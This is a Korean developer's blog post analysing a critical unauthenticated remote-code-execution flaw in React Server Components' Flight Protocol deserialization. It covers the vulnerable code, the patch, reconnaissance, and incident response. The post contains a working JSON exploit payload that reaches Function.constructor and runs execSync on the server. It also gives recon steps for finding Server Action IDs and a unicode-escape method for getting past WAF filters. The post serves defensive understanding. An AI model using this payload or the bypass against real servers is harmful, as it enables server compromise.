2025.12.14
직접 공격을 당해보니 위험성을 더 잘 느낄 수 있었습니다. 이번 취약점 레벨은 CVSS 10.0 로 인증 없이 원격 코드 실행(RCE)이 가능했습니다. (server-action 을 안썼다면 그나마 안전했을까요?)
영향 범위는 React 19.x, Next.js 15.x~16.x 및 RSC 기반 프레임워크 입니다. (와 14는 안전하다! 했으나... 후속 취약점 발견으로 그냥 다 업데이트 해야 했습니다)
React Server Components의 Flight Protocol 역직렬화 과정에서 두 가지 결함이 결합되어 발생했습니다.
hasOwnProperty 검증 없이 객체 속성에 접근Flight Protocol이란?
RSC는 서버에서 컴포넌트를 렌더링하고 그 결과를 클라이언트에 전달합니다. 이때 JSON으로는 표현할 수 없는 복잡한 타입(Promise, Blob, Map 등)을 처리하기 위해 독자적인 직렬화 포맷인 Flight Protocol을 사용합니다.
// Flight Protocol 표현식 예시
$@0 → Chunk 0에 대한 Promise 참조
$B0 → Blob 참조
$F0 → Server Function 참조
Prototype Pollution이란?
자바스크립트의 기본, 자바스크립트에서 객체는 prototype chain을 통해 부모 객체의 속성을 상속받습니다.
때문에 이를 악용하면 __proto__를 통해 모든 객체에 영향을 미치는 속성을 주입할 수 있습니다.
hasOwnProperty 만 있었어도..
let obj1 = {};
console.log(obj1.foo); // undefined
Object.prototype.foo = "polluted";
let obj2 = {};
console.log(obj2.foo); // "polluted" (오염됨!)
console.log(obj2.hasOwnProperty("foo")); // false (자신의 속성이 아님)
ReactFlightReplyServer.js의 getOutlinedModel() 함수:
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
// ...상태 확인 로직...
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // ⚠️ hasOwnProperty 검증 없음!
}
return map(response, value);
}
}
path 배열의 각 요소로 value 객체를 순회할 때 hasOwnProperty 검증이 없어 __proto__ 접근이 가능합니다ㅜㅜ
Primitive #1 - Chunk.prototype 접근
// 공격자 입력
reference = "$1:__proto__:then"
// 해석 과정
1번 Chunk의 __proto__ (= Chunk.prototype)의 then 메서드 참조
$@0 같은 표현은 Promise 객체 자체를 반환하므로, 이를 통해 Chunk.prototype에 접근할 수 있습니다.
Primitive #2 - initializeModelChunk 호출 제어
Chunk.prototype.then은 내부적으로 initializeModelChunk()를 호출합니다:
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk); // ← 공격자가 제어 가능!
break;
}
// ...
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value); // ← 여기서 악성 함수 실행
break;
}
};
Primitive #3 - 임의 함수 생성 및 실행
parseModelString()의 Blob 처리 로직을 악용:
case 'B': {
const id = parseInt(value.slice(2), 16);
const blobKey = response._prefix + id;
const backingEntry = response._formData.get(blobKey); // ← 공격자 제어
return backingEntry;
}
response._formData.get을 Function.constructor로 설정하면 임의 함수 생성이 가능합니다.
{
"then": "$1:__proto__:then", // Chunk.prototype.then 참조
"status": "resolved_model",
"value": "{\"then\": \"$B1\"}", // Blob을 통한 함수 생성
"_response": {
"_formData": {
"get": "$1:constructor:constructor" // Function.constructor
},
"_prefix": "process.mainModule.require('child_process').execSync('id');//"
}
}
1. then이 Chunk.prototype.then으로 설정됨
2. 객체가 resolve될 때 then() 호출
3. this.status가 "resolved_model"이므로 initializeModelChunk() 호출
4. value 파싱 과정에서 $B1이 Function.constructor로 처리됨
5. _prefix에 담긴 악성 JavaScript 코드가 서버에서 실행됨!
커밋 7dc903c에서 hasOwnProperty 검증이 추가됨
// 패치 후
for (let i = 1; i < path.length; i++) {
if (!value.hasOwnProperty(path[i])) {
// __proto__ 등 prototype chain 접근 차단
throw new Error('Invalid property access');
}
value = value[path[i]];
}
악성 사용자가 정찰 단계에서 수집할 수 있는 정보는 다음과 같았습니다.
브라우저 개발자 도구에서 페이지 소스를 확인하면 Server Action의 ID가 노출됩니다:
<!-- 페이지 소스 예시 -->
<script>
self.__next_f.push([1, "1:\"$ACTION_ID_abc123def456\"\n"])
</script>
<!-- 또는 form의 hidden input으로 -->
<form action="">
<input type="hidden" name="$ACTION_REF_ID" value="abc123def456" />
</form>
확인 방법:
?_rsc= 파라미터가 붙은 요청) < 이라고 하지만 그냥 Doc 탭의 요청 내역에서 Response 보면 됨$ACTION_ID 또는 $F 패턴 검색Server Action 호출 시 Next-Action 헤더가 전송됩니다:
POST /api/action HTTP/1.1
Host: example.com
Content-Type: multipart/form-data
Next-Action: abc123def456789
확인 방법:
// 브라우저 콘솔에서 실행
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (entry.name.includes('_rsc')) {
console.log('RSC Request:', entry.name);
}
}
});
observer.observe({ entryTypes: ['resource'] });
Network 탭에서 RSC 응답을 확인하면 Flight Protocol 형식을 볼 수 있습니다:
0:["$","div",null,{"children":"Hello"}]
1:["$","$L2",null,{}]
2:I["@/components/Button","default"]
주요 패턴:
$L : Lazy 컴포넌트 참조$F : Server Function 참조$@ : Promise/Chunk 참조I[...] : Import 구문# RSC 엔드포인트 패턴
GET /?_rsc=xxxxx HTTP/1.1
POST / HTTP/1.1 (with Next-Action header)
# curl로 확인
curl -I "https://target.com/?_rsc=test" \
-H "RSC: 1" \
-H "Next-Router-State-Tree: ..."
브라우저 콘솔에서 Next.js 버전 확인:
// 브라우저 콘솔
next.version // 예: "15.3.4"
또는 /_next/static/chunks/ 경로의 파일명에서 버전 힌트를 얻을 수 있습니다.
□ package.json에서 next, react-server-dom-* 버전 확인
□ 빌드 결과물에서 Server Action ID 노출 여부 확인
□ Network 탭에서 Flight Protocol 요청/응답 모니터링
□ 에러 메시지에서 내부 경로 노출 여부 확인
□ Source Map 비활성화 여부 확인 (프로덕션)
패치 적용이 유일한 해결책이었습니다...!!
자동 업그레이드 도구가 있긴합니다
npx fix-react2shell-next
WAF(Web Application Firewall) 규칙은 완전한 방어가 불가능합니다:
// Flight Protocol은 JSON.parse를 사용하므로 유니코드 우회 가능
{
"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a..."
}
// 위 코드는 "then": "$1:..."과 동일
Vercel은 WAF 규칙을 배포했지만, 이는 추가적인 방어층일 뿐 패치를 대체하지 못합니다.
12월 4일 이전에 취약한 버전으로 운영했다면 침해를 가정하고 대응하는 편이 좋았습니다
점검 항목:
□ 비정상적인 POST 요청 로그 확인 (특히 multipart/form-data)
□ 서버 함수 타임아웃 급증 여부
□ 예기치 않은 프로세스 생성 로그
□ 아웃바운드 네트워크 연결 이상 여부
침해 가능성이 있다면 모든 시크릿을 교체해야 합니다:
다음 조건에 해당하면 이 취약점의 영향을 받지 않습니다: